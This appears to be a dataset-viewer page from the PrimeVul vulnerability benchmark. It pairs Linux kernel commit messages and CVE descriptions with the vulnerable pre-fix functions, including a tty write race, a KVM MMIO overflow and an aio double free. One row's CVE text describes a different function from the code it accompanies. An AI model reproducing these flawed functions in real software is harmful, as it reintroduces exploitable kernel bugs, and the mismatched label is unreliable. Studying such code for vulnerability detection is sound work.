Datasets:

colin

/

PrimeVul

like 0

linux

86acdca1b63e6890540fa19495cfc708beff3d8b

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/86acdca1b63e6890540fa19495cfc708beff3d8b

fix autofs/afs/etc. magic mountpoint breakage We end up trying to kfree() nd.last.name on open("/mnt/tmp", O_CREAT) if /mnt/tmp is an autofs direct mount. The reason is that nd.last_type is bogus here; we want LAST_BIND for everything of that kind and we get LAST_NORM left over from finding parent directory. So make sure that it *is* set properly; set to LAST_BIND before doing ->follow_link() - for normal symlinks it will be changed by __vfs_follow_link() and everything else needs it set that way. Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

static __always_inline int __do_follow_link(struct path *path, struct nameidata *nd) { int error; void *cookie; struct dentry *dentry = path->dentry; touch_atime(path->mnt, dentry); nd_set_link(nd, NULL); if (path->mnt != nd->path.mnt) { path_to_nameidata(path, nd); dget(dentry); } mntget(path->mnt); cookie = dentry->d_inode->i_op->follow_link(dentry, nd); error = PTR_ERR(cookie); if (!IS_ERR(cookie)) { char *s = nd_get_link(nd); error = 0; if (s) error = __vfs_follow_link(nd, s); else if (nd->last_type == LAST_BIND) { error = force_reval_path(&nd->path, nd); if (error) path_put(&nd->path); } if (dentry->d_inode->i_op->put_link) dentry->d_inode->i_op->put_link(dentry, nd, cookie); } return error; }

namei.c

CVE-2014-0203

The __do_follow_link function in fs/namei.c in the Linux kernel before 2.6.33 does not properly handle the last pathname component during use of certain filesystems, which allows local users to cause a denial of service (incorrect free operations and system crash) via an open system call.

https://nvd.nist.gov/vuln/detail/CVE-2014-0203

linux

4291086b1f081b869c6d79e5b7441633dc3ace00

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/4291086b1f081b869c6d79e5b7441633dc3ace00

n_tty: Fix n_tty_write crash when echoing in raw mode The tty atomic_write_lock does not provide an exclusion guarantee for the tty driver if the termios settings are LECHO & !OPOST. And since it is unexpected and not allowed to call TTY buffer helpers like tty_insert_flip_string concurrently, this may lead to crashes when concurrect writers call pty_write. In that case the following two writers: * the ECHOing from a workqueue and * pty_write from the process race and can overflow the corresponding TTY buffer like follows. If we look into tty_insert_flip_string_fixed_flag, there is: int space = __tty_buffer_request_room(port, goal, flags); struct tty_buffer *tb = port->buf.tail; ... memcpy(char_buf_ptr(tb, tb->used), chars, space); ... tb->used += space; so the race of the two can result in something like this: A B __tty_buffer_request_room __tty_buffer_request_room memcpy(buf(tb->used), ...) tb->used += space; memcpy(buf(tb->used), ...) ->BOOM B's memcpy is past the tty_buffer due to the previous A's tb->used increment. Since the N_TTY line discipline input processing can output concurrently with a tty write, obtain the N_TTY ldisc output_lock to serialize echo output with normal tty writes. This ensures the tty buffer helper tty_insert_flip_string is not called concurrently and everything is fine. Note that this is nicely reproducible by an ordinary user using forkpty and some setup around that (raw termios + ECHO). And it is present in kernels at least after commit d945cb9cce20ac7143c2de8d88b187f62db99bdc (pty: Rework the pty layer to use the normal buffering logic) in 2.6.31-rc3. js: add more info to the commit log js: switch to bool js: lock unconditionally js: lock only the tty->ops->write call References: CVE-2014-0196 Reported-and-tested-by: Jiri Slaby <jslaby@suse.cz> Signed-off-by: Peter Hurley <peter@hurleysoftware.com> Signed-off-by: Jiri Slaby <jslaby@suse.cz> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Alan Cox <alan@lxorguk.ukuu.org.uk> Cc: <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

static ssize_t n_tty_write(struct tty_struct *tty, struct file *file, const unsigned char *buf, size_t nr) { const unsigned char *b = buf; DECLARE_WAITQUEUE(wait, current); int c; ssize_t retval = 0; /* Job control check -- must be done at start (POSIX.1 7.1.1.4). */ if (L_TOSTOP(tty) && file->f_op->write != redirected_tty_write) { retval = tty_check_change(tty); if (retval) return retval; } down_read(&tty->termios_rwsem); /* Write out any echoed characters that are still pending */ process_echoes(tty); add_wait_queue(&tty->write_wait, &wait); while (1) { set_current_state(TASK_INTERRUPTIBLE); if (signal_pending(current)) { retval = -ERESTARTSYS; break; } if (tty_hung_up_p(file) || (tty->link && !tty->link->count)) { retval = -EIO; break; } if (O_OPOST(tty)) { while (nr > 0) { ssize_t num = process_output_block(tty, b, nr); if (num < 0) { if (num == -EAGAIN) break; retval = num; goto break_out; } b += num; nr -= num; if (nr == 0) break; c = *b; if (process_output(c, tty) < 0) break; b++; nr--; } if (tty->ops->flush_chars) tty->ops->flush_chars(tty); } else { while (nr > 0) { c = tty->ops->write(tty, b, nr); if (c < 0) { retval = c; goto break_out; } if (!c) break; b += c; nr -= c; } } if (!nr) break; if (file->f_flags & O_NONBLOCK) { retval = -EAGAIN; break; } up_read(&tty->termios_rwsem); schedule(); down_read(&tty->termios_rwsem); } break_out: __set_current_state(TASK_RUNNING); remove_wait_queue(&tty->write_wait, &wait); if (b - buf != nr && tty->fasync) set_bit(TTY_DO_WRITE_WAKEUP, &tty->flags); up_read(&tty->termios_rwsem); return (b - buf) ? b - buf : retval; }

n_tty.c

CVE-2014-0196

The n_tty_write function in drivers/tty/n_tty.c in the Linux kernel through 3.14.3 does not properly manage tty driver access in the "LECHO & !OPOST" case, which allows local users to cause a denial of service (memory corruption and system crash) or gain privileges by triggering a race condition involving read and write operations with long strings.

https://nvd.nist.gov/vuln/detail/CVE-2014-0196

linux

d8316f3991d207fe32881a9ac20241be8fa2bad0

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/d8316f3991d207fe32881a9ac20241be8fa2bad0

vhost: fix total length when packets are too short When mergeable buffers are disabled, and the incoming packet is too large for the rx buffer, get_rx_bufs returns success. This was intentional in order for make recvmsg truncate the packet and then handle_rx would detect err != sock_len and drop it. Unfortunately we pass the original sock_len to recvmsg - which means we use parts of iov not fully validated. Fix this up by detecting this overrun and doing packet drop immediately. CVE-2014-0077 Signed-off-by: Michael S. Tsirkin <mst@redhat.com> Signed-off-by: David S. Miller <davem@davemloft.net>

static void handle_rx(struct vhost_net *net) { struct vhost_net_virtqueue *nvq = &net->vqs[VHOST_NET_VQ_RX]; struct vhost_virtqueue *vq = &nvq->vq; unsigned uninitialized_var(in), log; struct vhost_log *vq_log; struct msghdr msg = { .msg_name = NULL, .msg_namelen = 0, .msg_control = NULL, /* FIXME: get and handle RX aux data. */ .msg_controllen = 0, .msg_iov = vq->iov, .msg_flags = MSG_DONTWAIT, }; struct virtio_net_hdr_mrg_rxbuf hdr = { .hdr.flags = 0, .hdr.gso_type = VIRTIO_NET_HDR_GSO_NONE }; size_t total_len = 0; int err, mergeable; s16 headcount; size_t vhost_hlen, sock_hlen; size_t vhost_len, sock_len; struct socket *sock; mutex_lock(&vq->mutex); sock = vq->private_data; if (!sock) goto out; vhost_disable_notify(&net->dev, vq); vhost_hlen = nvq->vhost_hlen; sock_hlen = nvq->sock_hlen; vq_log = unlikely(vhost_has_feature(&net->dev, VHOST_F_LOG_ALL)) ? vq->log : NULL; mergeable = vhost_has_feature(&net->dev, VIRTIO_NET_F_MRG_RXBUF); while ((sock_len = peek_head_len(sock->sk))) { sock_len += sock_hlen; vhost_len = sock_len + vhost_hlen; headcount = get_rx_bufs(vq, vq->heads, vhost_len, &in, vq_log, &log, likely(mergeable) ? UIO_MAXIOV : 1); /* On error, stop handling until the next kick. */ if (unlikely(headcount < 0)) break; /* OK, now we need to know about added descriptors. */ if (!headcount) { if (unlikely(vhost_enable_notify(&net->dev, vq))) { /* They have slipped one in as we were * doing that: check again. */ vhost_disable_notify(&net->dev, vq); continue; } /* Nothing new? Wait for eventfd to tell us * they refilled. */ break; } /* We don't need to be notified again. */ if (unlikely((vhost_hlen))) /* Skip header. TODO: support TSO. */ move_iovec_hdr(vq->iov, nvq->hdr, vhost_hlen, in); else /* Copy the header for use in VIRTIO_NET_F_MRG_RXBUF: * needed because recvmsg can modify msg_iov. */ copy_iovec_hdr(vq->iov, nvq->hdr, sock_hlen, in); msg.msg_iovlen = in; err = sock->ops->recvmsg(NULL, sock, &msg, sock_len, MSG_DONTWAIT | MSG_TRUNC); /* Userspace might have consumed the packet meanwhile: * it's not supposed to do this usually, but might be hard * to prevent. Discard data we got (if any) and keep going. */ if (unlikely(err != sock_len)) { pr_debug("Discarded rx packet: " " len %d, expected %zd\n", err, sock_len); vhost_discard_vq_desc(vq, headcount); continue; } if (unlikely(vhost_hlen) && memcpy_toiovecend(nvq->hdr, (unsigned char *)&hdr, 0, vhost_hlen)) { vq_err(vq, "Unable to write vnet_hdr at addr %p\n", vq->iov->iov_base); break; } /* TODO: Should check and handle checksum. */ if (likely(mergeable) && memcpy_toiovecend(nvq->hdr, (unsigned char *)&headcount, offsetof(typeof(hdr), num_buffers), sizeof hdr.num_buffers)) { vq_err(vq, "Failed num_buffers write"); vhost_discard_vq_desc(vq, headcount); break; } vhost_add_used_and_signal_n(&net->dev, vq, vq->heads, headcount); if (unlikely(vq_log)) vhost_log_write(vq, vq_log, log, vhost_len); total_len += vhost_len; if (unlikely(total_len >= VHOST_NET_WEIGHT)) { vhost_poll_queue(&vq->poll); break; } } out: mutex_unlock(&vq->mutex); }

net.c

CVE-2014-0077

drivers/vhost/net.c in the Linux kernel before 3.13.10, when mergeable buffers are disabled, does not properly validate packet lengths, which allows guest OS users to cause a denial of service (memory corruption and host OS crash) or possibly gain privileges on the host OS via crafted packets, related to the handle_rx and get_rx_bufs functions.

https://nvd.nist.gov/vuln/detail/CVE-2014-0077

linux

5d81de8e8667da7135d3a32a964087c0faf5483f

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/5d81de8e8667da7135d3a32a964087c0faf5483f

cifs: ensure that uncached writes handle unmapped areas correctly It's possible for userland to pass down an iovec via writev() that has a bogus user pointer in it. If that happens and we're doing an uncached write, then we can end up getting less bytes than we expect from the call to iov_iter_copy_from_user. This is CVE-2014-0069 cifs_iovec_write isn't set up to handle that situation however. It'll blindly keep chugging through the page array and not filling those pages with anything useful. Worse yet, we'll later end up with a negative number in wdata->tailsz, which will confuse the sending routines and cause an oops at the very least. Fix this by having the copy phase of cifs_iovec_write stop copying data in this situation and send the last write as a short one. At the same time, we want to avoid sending a zero-length write to the server, so break out of the loop and set rc to -EFAULT if that happens. This also allows us to handle the case where no address in the iovec is valid. [Note: Marking this for stable on v3.4+ kernels, but kernels as old as v2.6.38 may have a similar problem and may need similar fix] Cc: <stable@vger.kernel.org> # v3.4+ Reviewed-by: Pavel Shilovsky <piastry@etersoft.ru> Reported-by: Al Viro <viro@zeniv.linux.org.uk> Signed-off-by: Jeff Layton <jlayton@redhat.com> Signed-off-by: Steve French <smfrench@gmail.com>

cifs_iovec_write(struct file *file, const struct iovec *iov, unsigned long nr_segs, loff_t *poffset) { unsigned long nr_pages, i; size_t copied, len, cur_len; ssize_t total_written = 0; loff_t offset; struct iov_iter it; struct cifsFileInfo *open_file; struct cifs_tcon *tcon; struct cifs_sb_info *cifs_sb; struct cifs_writedata *wdata, *tmp; struct list_head wdata_list; int rc; pid_t pid; len = iov_length(iov, nr_segs); if (!len) return 0; rc = generic_write_checks(file, poffset, &len, 0); if (rc) return rc; INIT_LIST_HEAD(&wdata_list); cifs_sb = CIFS_SB(file->f_path.dentry->d_sb); open_file = file->private_data; tcon = tlink_tcon(open_file->tlink); if (!tcon->ses->server->ops->async_writev) return -ENOSYS; offset = *poffset; if (cifs_sb->mnt_cifs_flags & CIFS_MOUNT_RWPIDFORWARD) pid = open_file->pid; else pid = current->tgid; iov_iter_init(&it, iov, nr_segs, len, 0); do { size_t save_len; nr_pages = get_numpages(cifs_sb->wsize, len, &cur_len); wdata = cifs_writedata_alloc(nr_pages, cifs_uncached_writev_complete); if (!wdata) { rc = -ENOMEM; break; } rc = cifs_write_allocate_pages(wdata->pages, nr_pages); if (rc) { kfree(wdata); break; } save_len = cur_len; for (i = 0; i < nr_pages; i++) { copied = min_t(const size_t, cur_len, PAGE_SIZE); copied = iov_iter_copy_from_user(wdata->pages[i], &it, 0, copied); cur_len -= copied; iov_iter_advance(&it, copied); } cur_len = save_len - cur_len; wdata->sync_mode = WB_SYNC_ALL; wdata->nr_pages = nr_pages; wdata->offset = (__u64)offset; wdata->cfile = cifsFileInfo_get(open_file); wdata->pid = pid; wdata->bytes = cur_len; wdata->pagesz = PAGE_SIZE; wdata->tailsz = cur_len - ((nr_pages - 1) * PAGE_SIZE); rc = cifs_uncached_retry_writev(wdata); if (rc) { kref_put(&wdata->refcount, cifs_uncached_writedata_release); break; } list_add_tail(&wdata->list, &wdata_list); offset += cur_len; len -= cur_len; } while (len > 0); /* * If at least one write was successfully sent, then discard any rc * value from the later writes. If the other write succeeds, then * we'll end up returning whatever was written. If it fails, then * we'll get a new rc value from that. */ if (!list_empty(&wdata_list)) rc = 0; /* * Wait for and collect replies for any successful sends in order of * increasing offset. Once an error is hit or we get a fatal signal * while waiting, then return without waiting for any more replies. */ restart_loop: list_for_each_entry_safe(wdata, tmp, &wdata_list, list) { if (!rc) { /* FIXME: freezable too? */ rc = wait_for_completion_killable(&wdata->done); if (rc) rc = -EINTR; else if (wdata->result) rc = wdata->result; else total_written += wdata->bytes; /* resend call if it's a retryable error */ if (rc == -EAGAIN) { rc = cifs_uncached_retry_writev(wdata); goto restart_loop; } } list_del_init(&wdata->list); kref_put(&wdata->refcount, cifs_uncached_writedata_release); } if (total_written > 0) *poffset += total_written; cifs_stats_bytes_written(tcon, total_written); return total_written ? total_written : (ssize_t)rc; }

file.c

CVE-2014-0069

The cifs_iovec_write function in fs/cifs/file.c in the Linux kernel through 3.13.5 does not properly handle uncached write operations that copy fewer than the requested number of bytes, which allows local users to obtain sensitive information from kernel memory, cause a denial of service (memory corruption and system crash), or possibly gain privileges via a writev system call with a crafted pointer.

https://nvd.nist.gov/vuln/detail/CVE-2014-0069

linux

a08d3b3b99efd509133946056531cdf8f3a0c09b

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/a08d3b3b99efd509133946056531cdf8f3a0c09b

kvm: x86: fix emulator buffer overflow (CVE-2014-0049) The problem occurs when the guest performs a pusha with the stack address pointing to an mmio address (or an invalid guest physical address) to start with, but then extending into an ordinary guest physical address. When doing repeated emulated pushes emulator_read_write sets mmio_needed to 1 on the first one. On a later push when the stack points to regular memory, mmio_nr_fragments is set to 0, but mmio_is_needed is not set to 0. As a result, KVM exits to userspace, and then returns to complete_emulated_mmio. In complete_emulated_mmio vcpu->mmio_cur_fragment is incremented. The termination condition of vcpu->mmio_cur_fragment == vcpu->mmio_nr_fragments is never achieved. The code bounces back and fourth to userspace incrementing mmio_cur_fragment past it's buffer. If the guest does nothing else it eventually leads to a a crash on a memcpy from invalid memory address. However if a guest code can cause the vm to be destroyed in another vcpu with excellent timing, then kvm_clear_async_pf_completion_queue can be used by the guest to control the data that's pointed to by the call to cancel_work_item, which can be used to gain execution. Fixes: f78146b0f9230765c6315b2e14f56112513389ad Signed-off-by: Andrew Honig <ahonig@google.com> Cc: stable@vger.kernel.org (3.5+) Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>

static int complete_emulated_mmio(struct kvm_vcpu *vcpu) { struct kvm_run *run = vcpu->run; struct kvm_mmio_fragment *frag; unsigned len; BUG_ON(!vcpu->mmio_needed); /* Complete previous fragment */ frag = &vcpu->mmio_fragments[vcpu->mmio_cur_fragment]; len = min(8u, frag->len); if (!vcpu->mmio_is_write) memcpy(frag->data, run->mmio.data, len); if (frag->len <= 8) { /* Switch to the next fragment. */ frag++; vcpu->mmio_cur_fragment++; } else { /* Go forward to the next mmio piece. */ frag->data += len; frag->gpa += len; frag->len -= len; } if (vcpu->mmio_cur_fragment == vcpu->mmio_nr_fragments) { vcpu->mmio_needed = 0; /* FIXME: return into emulator if single-stepping. */ if (vcpu->mmio_is_write) return 1; vcpu->mmio_read_completed = 1; return complete_emulated_io(vcpu); } run->exit_reason = KVM_EXIT_MMIO; run->mmio.phys_addr = frag->gpa; if (vcpu->mmio_is_write) memcpy(run->mmio.data, frag->data, min(8u, frag->len)); run->mmio.len = min(8u, frag->len); run->mmio.is_write = vcpu->mmio_is_write; vcpu->arch.complete_userspace_io = complete_emulated_mmio; return 0; }

x86.c

CVE-2014-0049

Buffer overflow in the complete_emulated_mmio function in arch/x86/kvm/x86.c in the Linux kernel before 3.13.6 allows guest OS users to execute arbitrary code on the host OS by leveraging a loop that triggers an invalid memory copy affecting certain cancel_work_item data.

https://nvd.nist.gov/vuln/detail/CVE-2014-0049

linux

2def2ef2ae5f3990aabdbe8a755911902707d268

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/2def2ef2ae5f3990aabdbe8a755911902707d268

x86, x32: Correct invalid use of user timespec in the kernel The x32 case for the recvmsg() timout handling is broken: asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct compat_timespec __user *timeout) { int datagrams; struct timespec ktspec; if (flags & MSG_CMSG_COMPAT) return -EINVAL; if (COMPAT_USE_64BIT_TIME) return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, (struct timespec *) timeout); ... The timeout pointer parameter is provided by userland (hence the __user annotation) but for x32 syscalls it's simply cast to a kernel pointer and is passed to __sys_recvmmsg which will eventually directly dereference it for both reading and writing. Other callers to __sys_recvmmsg properly copy from userland to the kernel first. The bug was introduced by commit ee4fa23c4bfc ("compat: Use COMPAT_USE_64BIT_TIME in net/compat.c") and should affect all kernels since 3.4 (and perhaps vendor kernels if they backported x32 support along with this code). Note that CONFIG_X86_X32_ABI gets enabled at build time and only if CONFIG_X86_X32 is enabled and ld can build x32 executables. Other uses of COMPAT_USE_64BIT_TIME seem fine. This addresses CVE-2014-0038. Signed-off-by: PaX Team <pageexec@freemail.hu> Signed-off-by: H. Peter Anvin <hpa@linux.intel.com> Cc: <stable@vger.kernel.org> # v3.4+ Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct compat_timespec __user *timeout) { int datagrams; struct timespec ktspec; if (flags & MSG_CMSG_COMPAT) return -EINVAL; if (COMPAT_USE_64BIT_TIME) return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, (struct timespec *) timeout); if (timeout == NULL) return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, NULL); if (get_compat_timespec(&ktspec, timeout)) return -EFAULT; datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, &ktspec); if (datagrams > 0 && put_compat_timespec(&ktspec, timeout)) datagrams = -EFAULT; return datagrams; }

compat.c

CVE-2014-0038

The compat_sys_recvmmsg function in net/compat.c in the Linux kernel before 3.13.2, when CONFIG_X86_X32 is enabled, allows local users to gain privileges via a recvmmsg system call with a crafted timeout pointer parameter.

https://nvd.nist.gov/vuln/detail/CVE-2014-0038

linux

d558023207e008a4476a3b7bb8706b2a2bf5d84f

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/d558023207e008a4476a3b7bb8706b2a2bf5d84f

aio: prevent double free in ioctx_alloc ioctx_alloc() calls aio_setup_ring() to allocate a ring. If aio_setup_ring() fails to do so it would call aio_free_ring() before returning, but ioctx_alloc() would call aio_free_ring() again causing a double free of the ring. This is easily reproducible from userspace. Signed-off-by: Sasha Levin <sasha.levin@oracle.com> Signed-off-by: Benjamin LaHaise <bcrl@kvack.org>

static struct kioctx *ioctx_alloc(unsigned nr_events) { struct mm_struct *mm = current->mm; struct kioctx *ctx; int err = -ENOMEM; /* * We keep track of the number of available ringbuffer slots, to prevent * overflow (reqs_available), and we also use percpu counters for this. * * So since up to half the slots might be on other cpu's percpu counters * and unavailable, double nr_events so userspace sees what they * expected: additionally, we move req_batch slots to/from percpu * counters at a time, so make sure that isn't 0: */ nr_events = max(nr_events, num_possible_cpus() * 4); nr_events *= 2; /* Prevent overflows */ if ((nr_events > (0x10000000U / sizeof(struct io_event))) || (nr_events > (0x10000000U / sizeof(struct kiocb)))) { pr_debug("ENOMEM: nr_events too high\n"); return ERR_PTR(-EINVAL); } if (!nr_events || (unsigned long)nr_events > (aio_max_nr * 2UL)) return ERR_PTR(-EAGAIN); ctx = kmem_cache_zalloc(kioctx_cachep, GFP_KERNEL); if (!ctx) return ERR_PTR(-ENOMEM); ctx->max_reqs = nr_events; if (percpu_ref_init(&ctx->users, free_ioctx_users)) goto err; if (percpu_ref_init(&ctx->reqs, free_ioctx_reqs)) goto err; spin_lock_init(&ctx->ctx_lock); spin_lock_init(&ctx->completion_lock); mutex_init(&ctx->ring_lock); init_waitqueue_head(&ctx->wait); INIT_LIST_HEAD(&ctx->active_reqs); ctx->cpu = alloc_percpu(struct kioctx_cpu); if (!ctx->cpu) goto err; if (aio_setup_ring(ctx) < 0) goto err; atomic_set(&ctx->reqs_available, ctx->nr_events - 1); ctx->req_batch = (ctx->nr_events - 1) / (num_possible_cpus() * 4); if (ctx->req_batch < 1) ctx->req_batch = 1; /* limit the number of system wide aios */ spin_lock(&aio_nr_lock); if (aio_nr + nr_events > (aio_max_nr * 2UL) || aio_nr + nr_events < aio_nr) { spin_unlock(&aio_nr_lock); err = -EAGAIN; goto err; } aio_nr += ctx->max_reqs; spin_unlock(&aio_nr_lock); percpu_ref_get(&ctx->users); /* io_setup() will drop this ref */ err = ioctx_add_table(ctx, mm); if (err) goto err_cleanup; pr_debug("allocated ioctx %p[%ld]: mm=%p mask=0x%x\n", ctx, ctx->user_id, mm, ctx->nr_events); return ctx; err_cleanup: aio_nr_sub(ctx->max_reqs); err: aio_free_ring(ctx); free_percpu(ctx->cpu); free_percpu(ctx->reqs.pcpu_count); free_percpu(ctx->users.pcpu_count); kmem_cache_free(kioctx_cachep, ctx); pr_debug("error allocating ioctx %d\n", err); return ERR_PTR(err); }

aio.c

CVE-2013-7348

Double free vulnerability in the ioctx_alloc function in fs/aio.c in the Linux kernel before 3.12.4 allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via vectors involving an error condition in the aio_setup_ring function.

https://nvd.nist.gov/vuln/detail/CVE-2013-7348

linux

c2349758acf1874e4c2b93fe41d072336f1a31d0

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/c2349758acf1874e4c2b93fe41d072336f1a31d0

rds: prevent dereference of a NULL device Binding might result in a NULL device, which is dereferenced causing this BUG: [ 1317.260548] BUG: unable to handle kernel NULL pointer dereference at 000000000000097 4 [ 1317.261847] IP: [<ffffffff84225f52>] rds_ib_laddr_check+0x82/0x110 [ 1317.263315] PGD 418bcb067 PUD 3ceb21067 PMD 0 [ 1317.263502] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC [ 1317.264179] Dumping ftrace buffer: [ 1317.264774] (ftrace buffer empty) [ 1317.265220] Modules linked in: [ 1317.265824] CPU: 4 PID: 836 Comm: trinity-child46 Tainted: G W 3.13.0-rc4- next-20131218-sasha-00013-g2cebb9b-dirty #4159 [ 1317.267415] task: ffff8803ddf33000 ti: ffff8803cd31a000 task.ti: ffff8803cd31a000 [ 1317.268399] RIP: 0010:[<ffffffff84225f52>] [<ffffffff84225f52>] rds_ib_laddr_check+ 0x82/0x110 [ 1317.269670] RSP: 0000:ffff8803cd31bdf8 EFLAGS: 00010246 [ 1317.270230] RAX: 0000000000000000 RBX: ffff88020b0dd388 RCX: 0000000000000000 [ 1317.270230] RDX: ffffffff8439822e RSI: 00000000000c000a RDI: 0000000000000286 [ 1317.270230] RBP: ffff8803cd31be38 R08: 0000000000000000 R09: 0000000000000000 [ 1317.270230] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000 [ 1317.270230] R13: 0000000054086700 R14: 0000000000a25de0 R15: 0000000000000031 [ 1317.270230] FS: 00007ff40251d700(0000) GS:ffff88022e200000(0000) knlGS:000000000000 0000 [ 1317.270230] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 1317.270230] CR2: 0000000000000974 CR3: 00000003cd478000 CR4: 00000000000006e0 [ 1317.270230] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 1317.270230] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000090602 [ 1317.270230] Stack: [ 1317.270230] 0000000054086700 5408670000a25de0 5408670000000002 0000000000000000 [ 1317.270230] ffffffff84223542 00000000ea54c767 0000000000000000 ffffffff86d26160 [ 1317.270230] ffff8803cd31be68 ffffffff84223556 ffff8803cd31beb8 ffff8800c6765280 [ 1317.270230] Call Trace: [ 1317.270230] [<ffffffff84223542>] ? rds_trans_get_preferred+0x42/0xa0 [ 1317.270230] [<ffffffff84223556>] rds_trans_get_preferred+0x56/0xa0 [ 1317.270230] [<ffffffff8421c9c3>] rds_bind+0x73/0xf0 [ 1317.270230] [<ffffffff83e4ce62>] SYSC_bind+0x92/0xf0 [ 1317.270230] [<ffffffff812493f8>] ? context_tracking_user_exit+0xb8/0x1d0 [ 1317.270230] [<ffffffff8119313d>] ? trace_hardirqs_on+0xd/0x10 [ 1317.270230] [<ffffffff8107a852>] ? syscall_trace_enter+0x32/0x290 [ 1317.270230] [<ffffffff83e4cece>] SyS_bind+0xe/0x10 [ 1317.270230] [<ffffffff843a6ad0>] tracesys+0xdd/0xe2 [ 1317.270230] Code: 00 8b 45 cc 48 8d 75 d0 48 c7 45 d8 00 00 00 00 66 c7 45 d0 02 00 89 45 d4 48 89 df e8 78 49 76 ff 41 89 c4 85 c0 75 0c 48 8b 03 <80> b8 74 09 00 00 01 7 4 06 41 bc 9d ff ff ff f6 05 2a b6 c2 02 [ 1317.270230] RIP [<ffffffff84225f52>] rds_ib_laddr_check+0x82/0x110 [ 1317.270230] RSP <ffff8803cd31bdf8> [ 1317.270230] CR2: 0000000000000974 Signed-off-by: Sasha Levin <sasha.levin@oracle.com> Signed-off-by: David S. Miller <davem@davemloft.net>

static int rds_ib_laddr_check(__be32 addr) { int ret; struct rdma_cm_id *cm_id; struct sockaddr_in sin; /* Create a CMA ID and try to bind it. This catches both * IB and iWARP capable NICs. */ cm_id = rdma_create_id(NULL, NULL, RDMA_PS_TCP, IB_QPT_RC); if (IS_ERR(cm_id)) return PTR_ERR(cm_id); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = addr; /* rdma_bind_addr will only succeed for IB & iWARP devices */ ret = rdma_bind_addr(cm_id, (struct sockaddr *)&sin); /* due to this, we will claim to support iWARP devices unless we check node_type. */ if (ret || cm_id->device->node_type != RDMA_NODE_IB_CA) ret = -EADDRNOTAVAIL; rdsdebug("addr %pI4 ret %d node type %d\n", &addr, ret, cm_id->device ? cm_id->device->node_type : -1); rdma_destroy_id(cm_id); return ret; }

ib.c

CVE-2013-7339

The rds_ib_laddr_check function in net/rds/ib.c in the Linux kernel before 3.12.8 allows local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact via a bind system call for an RDS socket on a system that lacks RDS transports.

https://nvd.nist.gov/vuln/detail/CVE-2013-7339

linux

bceaa90240b6019ed73b49965eac7d167610be69

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/bceaa90240b6019ed73b49965eac7d167610be69

inet: prevent leakage of uninitialized memory to user in recv syscalls Only update *addr_len when we actually fill in sockaddr, otherwise we can return uninitialized memory from the stack to the caller in the recvfrom, recvmmsg and recvmsg syscalls. Drop the the (addr_len == NULL) checks because we only get called with a valid addr_len pointer either from sock_common_recvmsg or inet_recvmsg. If a blocking read waits on a socket which is concurrently shut down we now return zero and set msg_msgnamelen to 0. Reported-by: mpb <mpb.mail@gmail.com> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

static int dgram_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { size_t copied = 0; int err = -EOPNOTSUPP; struct sk_buff *skb; struct sockaddr_ieee802154 *saddr; saddr = (struct sockaddr_ieee802154 *)msg->msg_name; skb = skb_recv_datagram(sk, flags, noblock, &err); if (!skb) goto out; copied = skb->len; if (len < copied) { msg->msg_flags |= MSG_TRUNC; copied = len; } /* FIXME: skip headers if necessary ?! */ err = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied); if (err) goto done; sock_recv_ts_and_drops(msg, sk, skb); if (saddr) { saddr->family = AF_IEEE802154; saddr->addr = mac_cb(skb)->sa; } if (addr_len) *addr_len = sizeof(*saddr); if (flags & MSG_TRUNC) copied = skb->len; done: skb_free_datagram(sk, skb); out: if (err) return err; return copied; }

dgram.c

CVE-2013-7265

The pn_recvmsg function in net/phonet/datagram.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel stack memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7265

linux

bceaa90240b6019ed73b49965eac7d167610be69

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/bceaa90240b6019ed73b49965eac7d167610be69

